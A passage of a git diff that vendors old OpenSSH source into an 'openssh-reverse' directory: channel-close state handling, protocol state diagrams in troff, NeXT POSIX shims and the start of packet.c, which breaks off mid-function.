CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_eof2(Channel *c) +{ + debug("channel %d: send eof", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH2_MSG_CHANNEL_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send eof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_close2(Channel *c) +{ + debug("channel %d: send close", c->self); + if (c->ostate != CHAN_OUTPUT_CLOSED || + c->istate != CHAN_INPUT_CLOSED) { + error("channel %d: internal error: cannot send close for istate/ostate %d/%d", + c->self, c->istate, c->ostate); + } else if (c->flags & CHAN_CLOSE_SENT) { + error("channel %d: internal error: already sent close", c->self); + } else { + packet_start(SSH2_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->flags |= CHAN_CLOSE_SENT; + } +} +static void +chan_delete_if_full_closed2(Channel *c) +{ + if (c->istate == CHAN_INPUT_CLOSED && c->ostate == CHAN_OUTPUT_CLOSED) { + if (!(c->flags & CHAN_CLOSE_SENT)) { + chan_send_close2(c); + } + if ((c->flags & CHAN_CLOSE_SENT) && + (c->flags & CHAN_CLOSE_RCVD)) { + debug("channel %d: full closed2", c->self); + channel_free(c->self); + } + } +} + +/* shared */ +void +chan_init_iostates(Channel *c) +{ + c->ostate = CHAN_OUTPUT_OPEN; + c->istate = CHAN_INPUT_OPEN; + c->flags = 0; +} + +/* init */ +void +chan_init(void) +{ + if (compat20) { + chan_rcvd_oclose = chan_rcvd_oclose2; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty2; + + chan_rcvd_ieof = chan_rcvd_ieof2; + chan_write_failed = chan_write_failed2; + chan_obuf_empty = chan_obuf_empty2; + + chan_delete_if_full_closed = chan_delete_if_full_closed2; + } else { + chan_rcvd_oclose = chan_rcvd_oclose1; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty1; + + chan_rcvd_ieof = chan_rcvd_ieof1; + chan_write_failed = chan_write_failed1; + chan_obuf_empty = chan_obuf_empty1; + + chan_delete_if_full_closed = chan_delete_if_full_closed1; + } +} + +/* helper */ +static void +chan_shutdown_write(Channel *c) +{ + buffer_consume(&c->output, buffer_len(&c->output)); + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + /* shutdown failure is allowed if write failed already */ + debug("channel %d: close_write", c->self); + if (c->sock != -1) { + if (shutdown(c->sock, SHUT_WR) < 0) + debug("channel %d: chan_shutdown_write: shutdown() failed for fd%d: %.100s", + c->self, c->sock, strerror(errno)); + } else { + if (close(c->wfd) < 0) + log("channel %d: chan_shutdown_write: close() failed for fd%d: %.100s", + c->self, c->wfd, strerror(errno)); + c->wfd = -1; + } +} +static void +chan_shutdown_read(Channel *c) +{ + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + debug("channel %d: close_read", c->self); + if (c->sock != -1) { + if (shutdown(c->sock, SHUT_RD) < 0) + error("channel %d: chan_shutdown_read: shutdown() failed for fd%d [i%d o%d]: %.100s", + c->self, c->sock, c->istate, c->ostate, strerror(errno)); + } else { + if (close(c->rfd) < 0) + log("channel %d: chan_shutdown_read: close() failed for fd%d: %.100s", + c->self, c->rfd, strerror(errno)); + c->rfd = -1; + } +} diff --git a/other/openssh-reverse/nchan.h b/other/openssh-reverse/nchan.h new file mode 100644 index 0000000..38205cf --- /dev/null +++ b/other/openssh-reverse/nchan.h @@ -0,0 +1,96 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* RCSID("$OpenBSD: nchan.h,v 1.8 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef NCHAN_H +#define NCHAN_H + +/* + * SSH Protocol 1.5 aka New Channel Protocol + * Thanks to Martina, Axel and everyone who left Erlangen, leaving me bored. + * Written by Markus Friedl in October 1999 + * + * Protocol versions 1.3 and 1.5 differ in the handshake protocol used for the + * tear down of channels: + * + * 1.3: strict request-ack-protocol: + * CLOSE -> + * <- CLOSE_CONFIRM + * + * 1.5: uses variations of: + * IEOF -> + * <- OCLOSE + * <- IEOF + * OCLOSE -> + * i.e. both sides have to close the channel + * + * See the debugging output from 'ssh -v' and 'sshd -d' of + * ssh-1.2.27 as an example. + * + */ + +/* ssh-proto-1.5 overloads prot-1.3-message-types */ +#define SSH_MSG_CHANNEL_INPUT_EOF SSH_MSG_CHANNEL_CLOSE +#define SSH_MSG_CHANNEL_OUTPUT_CLOSE SSH_MSG_CHANNEL_CLOSE_CONFIRMATION + +/* possible input states */ +#define CHAN_INPUT_OPEN 0x01 +#define CHAN_INPUT_WAIT_DRAIN 0x02 +#define CHAN_INPUT_WAIT_OCLOSE 0x04 +#define CHAN_INPUT_CLOSED 0x08 + +/* possible output states */ +#define CHAN_OUTPUT_OPEN 0x10 +#define CHAN_OUTPUT_WAIT_DRAIN 0x20 +#define CHAN_OUTPUT_WAIT_IEOF 0x40 +#define CHAN_OUTPUT_CLOSED 0x80 + +#define CHAN_CLOSE_SENT 0x01 +#define CHAN_CLOSE_RCVD 0x02 + + +/* Channel EVENTS */ +typedef void chan_event_fn(Channel * c); + +/* for the input state */ +extern chan_event_fn *chan_rcvd_oclose; +extern chan_event_fn *chan_read_failed; +extern chan_event_fn *chan_ibuf_empty; + +/* for the output state */ +extern chan_event_fn *chan_rcvd_ieof; +extern chan_event_fn *chan_write_failed; +extern chan_event_fn *chan_obuf_empty; + +extern chan_event_fn *chan_delete_if_full_closed; + +void chan_init_iostates(Channel * c); +void chan_init(void); +#endif diff --git a/other/openssh-reverse/nchan.ms b/other/openssh-reverse/nchan.ms new file mode 100644 index 0000000..eb49cd3 --- /dev/null +++ b/other/openssh-reverse/nchan.ms @@ -0,0 +1,102 @@ +.\" +.\" Copyright (c) 1999 Markus Friedl. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 3. All advertising materials mentioning features or use of this software +.\" must display the following acknowledgement: +.\" This product includes software developed by Markus Friedl. +.\" 4. The name of the author may not be used to endorse or promote products +.\" derived from this software without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.TL +OpenSSH Channel Close Protocol 1.5 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S4: ellipse "INPUT" "CLOSED" +move down l from last ellipse.s +S3: ellipse "INPUT" "WAIT" "OCLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow "" "rcvd OCLOSE/" "shutdown_read" "send IEOF" from S1.e to S4.w +arrow "ibuf_empty/" "send IEOF" from S2.e to S3.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +arrow from S3.n to S4.s +box invis "rcvd OCLOSE/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +arrow from S2.ne to S4.sw +box invis "rcvd OCLOSE/ " with .e at last arrow.c +box invis " send IEOF" with .w at last arrow.c +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse "OUTPUT" "WAIT" "IEOF" +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow "" "write_failed/" "shutdown_write" "send OCLOSE" from S1.e to S3.w +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "send OCLOSE" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd IEOF/" "-" with .e at last arrow.c +arrow from S3.s to S4.n +box invis "rcvd IEOF/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an IEOF message to the peer. +If the peer receives the IEOF and has consumed all +data he replies with an OCLOSE. +When the local instance receives the OCLOSE +he considers the INPUT-half of the channel closed. +The peer has his OUTOUT-half closed. +.PP +A channel can be deallocated by a protocol instance +if both the INPUT- and the OUTOUT-half on his +side of the channel are closed. +Note that when an instance is unable to consume the +received data, he is permitted to send an OCLOSE +before the matching IEOF is received. diff --git a/other/openssh-reverse/nchan2.ms b/other/openssh-reverse/nchan2.ms new file mode 100644 index 0000000..1b119d1 --- /dev/null +++ b/other/openssh-reverse/nchan2.ms @@ -0,0 +1,64 @@ +.TL +OpenSSH Channel Close Protocol 2.0 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "INPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "rcvd CLOSE/" "shutdown_read" with .sw at last arrow.c +arrow "ibuf_empty ||" "rcvd CLOSE/" "send EOF" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "write_failed/" "shutdown_write" with .sw at last arrow.c +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd EOF ||" "rcvd CLOSE/" "-" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an EOF message to the peer. +.PP +A CLOSE message is sent to the peer if +both the INPUT- and the OUTOUT-half of the local +end of the channel are closed. +.PP +The channel can be deallocated by a protocol instance +if a CLOSE message he been both sent and received. diff --git a/other/openssh-reverse/next-posix.c b/other/openssh-reverse/next-posix.c new file mode 100644 index 0000000..0ca241f --- /dev/null +++ b/other/openssh-reverse/next-posix.c @@ -0,0 +1,104 @@ +#include "config.h" + +#ifdef HAVE_NEXT +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "xmalloc.h" +#include "ssh.h" +#include "next-posix.h" + +int +waitpid(int pid, int *stat_loc, int options) +{ + if (pid <= 0) { + if (pid != -1) { + errno = EINVAL; + return -1; + } + pid = 0; /* wait4() expects pid=0 for indiscriminate wait. */ + } + return wait4(pid, (union wait *)stat_loc, options, NULL); +} + +pid_t setsid(void) +{ + return setpgrp(0, getpid()); +} + +int +tcgetattr(int fd, struct termios *t) +{ + return (ioctl(fd, TIOCGETA, t)); +} + +int +tcsetattr(int fd, int opt, const struct termios *t) +{ + struct termios localterm; + + if (opt & TCSASOFT) { + localterm = *t; + localterm.c_cflag |= CIGNORE; + t = &localterm; + } + switch (opt & ~TCSASOFT) { + case TCSANOW: + return (ioctl(fd, TIOCSETA, t)); + case TCSADRAIN: + return (ioctl(fd, TIOCSETAW, t)); + case TCSAFLUSH: + return (ioctl(fd, TIOCSETAF, t)); + default: + errno = EINVAL; + return (-1); + } +} + +int tcsetpgrp(int fd, pid_t pgrp) +{ + int s; + + s = pgrp; + return (ioctl(fd, TIOCSPGRP, &s)); +} + +speed_t cfgetospeed(const struct termios *t) +{ + return (t->c_ospeed); +} + +speed_t cfgetispeed(const struct termios *t) +{ + return (t->c_ispeed); +} + +int +cfsetospeed(struct termios *t,int speed) +{ + t->c_ospeed = speed; + return (0); +} + +int +cfsetispeed(struct termios *t, int speed) +{ + t->c_ispeed = speed; + return (0); +} +#endif /* HAVE_NEXT */ diff --git a/other/openssh-reverse/next-posix.h b/other/openssh-reverse/next-posix.h new file mode 100644 index 0000000..86683db --- /dev/null +++ b/other/openssh-reverse/next-posix.h @@ -0,0 +1,58 @@ +/* + * Defines and prototypes specific to NeXT system + */ + +#ifndef _NEXT_POSIX_H +#define _NEXT_POSIX_H + +#ifdef HAVE_NEXT + +#include +#include + +#define NAME_MAX 255 +struct dirent { + off_t d_off; + unsigned long d_fileno; + unsigned short d_reclen; + unsigned short d_namlen; + char d_name[NAME_MAX + 1]; +}; + +struct utimbuf { + time_t actime; + time_t modtime; +}; + +/* FILE */ +#define O_NONBLOCK 00004 /* non-blocking open */ + +/* WAITPID */ +#undef WIFEXITED +#undef WIFSTOPPED +#undef WIFSIGNALED + +#define _W_INT(w) (*(int*)&(w)) /* convert union wait to int */ +#define WIFEXITED(w) (!((_W_INT(w)) & 0377)) +#define WIFSTOPPED(w) ((_W_INT(w)) & 0100) +#define WIFSIGNALED(w) (!WIFEXITED(w) && !WIFSTOPPED(w)) +#define WEXITSTATUS(w) (int)(WIFEXITED(w) ? ((_W_INT(w) >> 8) & 0377) : -1) +#define WTERMSIG(w) (int)(WIFSIGNALED(w) ? (_W_INT(w) & 0177) : -1) +#define WCOREFLAG 0x80 +#define WCOREDUMP(w) ((_W_INT(w)) & WCOREFLAG) + +int waitpid(int pid,int *stat_loc,int options); +#define getpgrp() getpgrp(0) +pid_t setsid(void); + +/* TC */ +int tcgetattr(int fd,struct termios *t); +int tcsetattr(int fd,int opt,const struct termios *t); +int tcsetpgrp(int fd, pid_t pgrp); +speed_t cfgetospeed(const struct termios *t); +speed_t cfgetispeed(const struct termios *t); +int cfsetospeed(struct termios *t,int speed); + + +#endif /* HAVE_NEXT */ +#endif /* _NEXT_POSIX_H */ diff --git a/other/openssh-reverse/openbsd-compat.h b/other/openssh-reverse/openbsd-compat.h new file mode 100644 index 0000000..3802265 --- /dev/null +++ b/other/openssh-reverse/openbsd-compat.h @@ -0,0 +1,25 @@ +#ifndef _OPENBSD_H +#define _OPENBSD_H + +#include "config.h" + +/* BSD function replacements */ +#include "bsd-bindresvport.h" +#include "bsd-rresvport.h" +#include "bsd-misc.h" +#include "bsd-strlcpy.h" +#include "bsd-strlcat.h" +#include "bsd-mktemp.h" +#include "bsd-snprintf.h" +#include "bsd-daemon.h" +#include "bsd-base64.h" +#include "bsd-sigaction.h" +#include "bsd-inet_aton.h" +#include "bsd-strsep.h" + +/* rfc2553 socket API replacements */ +#include "fake-getaddrinfo.h" +#include "fake-getnameinfo.h" +#include "fake-socket.h" + +#endif /* _OPENBSD_H */ diff --git a/other/openssh-reverse/packet.c b/other/openssh-reverse/packet.c new file mode 100644 index 0000000..56080cb --- /dev/null +++ b/other/openssh-reverse/packet.c @@ -0,0 +1,1287 @@ +/* + * + * packet.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 02:40:40 1995 ylo + * + * This file contains code implementing the packet protocol and communication + * with the other side. This same code is used both on client and server side. + * + * SSH2 packet format added by Markus Friedl. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: packet.c,v 1.33 2000/06/20 01:39:43 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "packet.h" +#include "bufaux.h" +#include "ssh.h" +#include "crc32.h" +#include "cipher.h" +#include "getput.h" + +#include "compress.h" +#include "deattack.h" +#include "channels.h" + +#include "compat.h" +#include "ssh2.h" + +#include +#include +#include +#include "buffer.h" +#include "kex.h" +#include "hmac.h" + +#ifdef PACKET_DEBUG +#define DBG(x) x +#else +#define DBG(x) +#endif + +/* + * This variable contains the file descriptors used for communicating with + * the other side. connection_in is used for reading; connection_out for + * writing. These can be the same descriptor, in which case it is assumed to + * be a socket. + */ +static int connection_in = -1; +static int connection_out = -1; + +/* + * Cipher type. This value is only used to determine whether to pad the + * packets with zeroes or random data. + */ +static int cipher_type = SSH_CIPHER_NONE; + +/* Protocol flags for the remote side. */ +static unsigned int remote_protocol_flags = 0; + +/* Encryption context for receiving data. This is only used for decryption. */ +static CipherContext receive_context; + +/* Encryption context for sending data. This is only used for encryption. */ +static CipherContext send_context; + +/* Buffer for raw input data from the socket. */ +static Buffer input; + +/* Buffer for raw output data going to the socket. */ +static Buffer output; + +/* Buffer for the partial outgoing packet being constructed. */ +static Buffer outgoing_packet; + +/* Buffer for the incoming packet currently being processed. */ +static Buffer incoming_packet; + +/* Scratch buffer for packet compression/decompression. */ +static Buffer compression_buffer; + +/* Flag indicating whether packet compression/decompression is enabled. */ +static int packet_compression = 0; + +/* default maximum packet size */ +int max_packet_size = 32768; + +/* Flag indicating whether this module has been initialized. */ +static int initialized = 0; + +/* Set to true if the connection is interactive. */ +static int interactive_mode = 0; + +/* True if SSH2 packet format is used */ +int use_ssh2_packet_format = 0; + +/* Session key information for Encryption and MAC */ +Kex *kex = NULL; + +void +packet_set_kex(Kex *k) +{ + if( k->mac[MODE_IN ].key == NULL || + k->enc[MODE_IN ].key == NULL || + k->enc[MODE_IN ].iv == NULL || + k->mac[MODE_OUT].key == NULL || + k->enc[MODE_OUT].key == NULL || + k->enc[MODE_OUT].iv == NULL) + fatal("bad KEX"); + kex = k; +} +void +clear_enc_keys(Enc *enc, int len) +{ + memset(enc->iv, 0, len); + memset(enc->key, 0, len); + xfree(enc->iv); + xfree(enc->key); + enc->iv = NULL; + enc->key = NULL; +} +void +packet_set_ssh2_format(void) +{ + DBG(debug("use_ssh2_packet_format")); + use_ssh2_packet_format = 1; +} + +/* + * Sets the descriptors used for communication. Disables encryption until + * packet_set_encryption_key is called. + */ +void +packet_set_connection(int fd_in, int fd_out) +{ + connection_in = fd_in; + connection_out = fd_out; + cipher_type = SSH_CIPHER_NONE; + cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); + cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); + if (!initialized) { + initialized = 1; + buffer_init(&input); + buffer_init(&output); + buffer_init(&outgoing_packet); + buffer_init(&incoming_packet); + } + /* Kludge: arrange the close function to be called from fatal(). */ + fatal_add_cleanup((void (*) (void *)) packet_close, NULL); +} + +/* Returns 1 if remote host is connected via socket, 0 if not. */ + +int +packet_connection_is_on_socket() +{ + struct sockaddr_storage from, to; + socklen_t fromlen, tolen; + + /* filedescriptors in and out are the same, so it's a socket */ + if (connection_in == connection_out) + return 1; + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(connection_in, (struct sockaddr *)&from, &fromlen) < 0) + return 0; + tolen = sizeof(to); + memset(&to, 0, sizeof(to)); + if (getpeername(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (fromlen != tolen || memcmp(&from, &to, fromlen) != 0) + return 0; + if (from.ss_family != AF_INET && from.ss_family != AF_INET6) + return 0; + return 1; +} + +/* returns 1 if connection is via ipv4 */ + +int +packet_connection_is_ipv4() +{ + struct sockaddr_storage to; + socklen_t tolen = sizeof(to); + + memset(&to, 0, sizeof(to)); + if (getsockname(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (to.ss_family != AF_INET) + return 0; + return 1; +} + +/* Sets the connection into non-blocking mode. */ + +void +packet_set_nonblocking() +{ + /* Set the socket into non-blocking mode. */ + if (fcntl(connection_in, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + + if (connection_out != connection_in) { + if (fcntl(connection_out, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + } +} + +/* Returns the socket used for reading. */ + +int +packet_get_connection_in() +{ + return connection_in; +} + +/* Returns the descriptor used for writing. */ + +int +packet_get_connection_out() +{ + return connection_out; +} + +/* Closes the connection and clears and frees internal data structures. */ + +void +packet_close() +{ + if (!initialized) + return; + initialized = 0; + if (connection_in == connection_out) { + shutdown(connection_out, SHUT_RDWR); + close(connection_out); + } else { + close(connection_in); + close(connection_out); + } + buffer_free(&input); + buffer_free(&output); + buffer_free(&outgoing_packet); + buffer_free(&incoming_packet); + if (packet_compression) { + buffer_free(&compression_buffer); + buffer_compress_uninit(); + } +} + +/* Sets remote side protocol flags. */ + +void +packet_set_protocol_flags(unsigned int protocol_flags) +{ + remote_protocol_flags = protocol_flags; + channel_set_options((protocol_flags & SSH_PROTOFLAG_HOST_IN_FWD_OPEN) != 0); +} + +/* Returns the remote protocol flags set earlier by the above function. */ + +unsigned int +packet_get_protocol_flags() +{ + return remote_protocol_flags; +} + +/* + * Starts packet compression from the next packet on in both directions. + * Level is compression level 1 (fastest) - 9 (slow, best) as in gzip. + */ + +/*** XXXXX todo: kex means re-init */ +void +packet_start_compression(int level) +{ + if (packet_compression) + fatal("Compression already enabled."); + packet_compression = 1; + buffer_init(&compression_buffer); + buffer_compress_init(level); +} + +/* + * Encrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_encrypt(CipherContext * cc, void *dest, void *src, + unsigned int bytes) +{ + cipher_encrypt(cc, dest, src, bytes); +} + +/* + * Decrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_decrypt(CipherContext * cc, void *dest, void *src, + unsigned int bytes) +{ + int i; + + if ((bytes % 8) != 0) + fatal("packet_decrypt: bad ciphertext length %d", bytes); + + /* + * Cryptographic attack detector for ssh - Modifications for packet.c + * (C)1998 CORE-SDI, Buenos Aires Argentina Ariel Futoransky(futo@core-sdi.com) + */ + + if (cc->type == SSH_CIPHER_NONE || compat20) { + i = DEATTACK_OK; + } else { + i = detect_attack(src, bytes, NULL); + } + if (i == DEATTACK_DETECTED) + packet_disconnect("crc32 compensation attack: network attack detected"); + + cipher_decrypt(cc, dest, src, bytes); +} + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. + */ + +void +packet_set_encryption_key(const unsigned char *key, unsigned int keylen, + int cipher) +{ + if (keylen < 20) + fatal("keylen too small: %d", keylen); + + /* All other ciphers use the same key in both directions for now. */ + cipher_set_key(&receive_context, cipher, key, keylen); + cipher_set_key(&send_context, cipher, key, keylen); +} + +/* Starts constructing a packet to send. */ + +void +packet_start1(int type) +{ + char buf[9]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, 8); + buf[8] = type; + buffer_append(&outgoing_packet, buf, 9); +} + +void +packet_start2(int type) +{ + char buf[4+1+1]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, sizeof buf); + /* buf[0..3] = payload_len; */ + /* buf[4] = pad_len; */ + buf[5] = type & 0xff; + buffer_append(&outgoing_packet, buf, sizeof buf); +} + +void +packet_start(int type) +{ + DBG(debug("packet_start[%d]",type)); + if (use_ssh2_packet_format) + packet_start2(type); + else + packet_start1(type); +} + +/* Appends a character to the packet data. */ + +void +packet_put_char(int value) +{ + char ch = value; + buffer_append(&outgoing_packet, &ch, 1); +} + +/* Appends an integer to the packet data. */ + +void +packet_put_int(unsigned int value) +{ + buffer_put_int(&outgoing_packet, value); +} + +/* Appends a string to packet data. */ + +void +packet_put_string(const char *buf, unsigned int len) +{ + buffer_put_string(&outgoing_packet, buf, len); +} +void +packet_put_cstring(const char *str) +{ + buffer_put_string(&outgoing_packet, str, strlen(str)); +} + +void +packet_put_raw(const char *buf, unsigned int len) +{ + buffer_append(&outgoing_packet, buf, len); +} + + +/* Appends an arbitrary precision integer to packet data. */ + +void +packet_put_bignum(BIGNUM * value) +{ + buffer_put_bignum(&outgoing_packet, value); +} +void +packet_put_bignum2(BIGNUM * value) +{ + buffer_put_bignum2(&outgoing_packet, value); +} + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ + +void +packet_send1() +{ + char buf[8], *cp; + int i, padding, len; + unsigned int checksum; + u_int32_t rand = 0; + + /* + * If using packet compression, compress the payload of the outgoing + * packet. + */ + if (packet_compression) { + buffer_clear(&compression_buffer); + /* Skip padding. */ + buffer_consume(&outgoing_packet, 8); + /* padding */ + buffer_append(&compression_buffer, "\0\0\0\0\0\0\0\0", 8); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Compute packet length without padding (add checksum, remove padding). */ + len = buffer_len(&outgoing_packet) + 4 - 8; + + /* Insert padding. Initialized to zero in packet_start1() */ + padding = 8 - len % 8; + if (cipher_type != SSH_CIPHER_NONE) { + cp = buffer_ptr(&outgoing_packet); + for (i = 0; i < padding; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[7 - i] = rand & 0xff; + rand >>= 8; + } + } + buffer_consume(&outgoing_packet, 8 - padding); + + /* Add check bytes. */ + checksum = crc32((unsigned char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + PUT_32BIT(buf, checksum); + buffer_append(&outgoing_packet, buf, 4); + +#ifdef PACKET_DEBUG + fprintf(stderr, "packet_send plain: "); + buffer_dump(&outgoing_packet); +#endif + + /* Append to output. */ + PUT_32BIT(buf, len); + buffer_append(&output, buf, 4); + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + + buffer_clear(&outgoing_packet); + + /* + * Note that the packet is now only buffered in output. It won\'t be + * actually sent until packet_write_wait or packet_write_poll is + * called. + */ +} + +/* + * Finalize packet in SSH2 format (compress, mac, encrypt, enqueue) + */ +void +packet_send2() +{ + unsigned char *macbuf = NULL; + char *cp; + unsigned int packet_length = 0; + unsigned int i, padlen, len; + u_int32_t rand = 0; + static unsigned int seqnr = 0; + int type; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + int block_size; + + if (kex != NULL) { + enc = &kex->enc[MODE_OUT]; + mac = 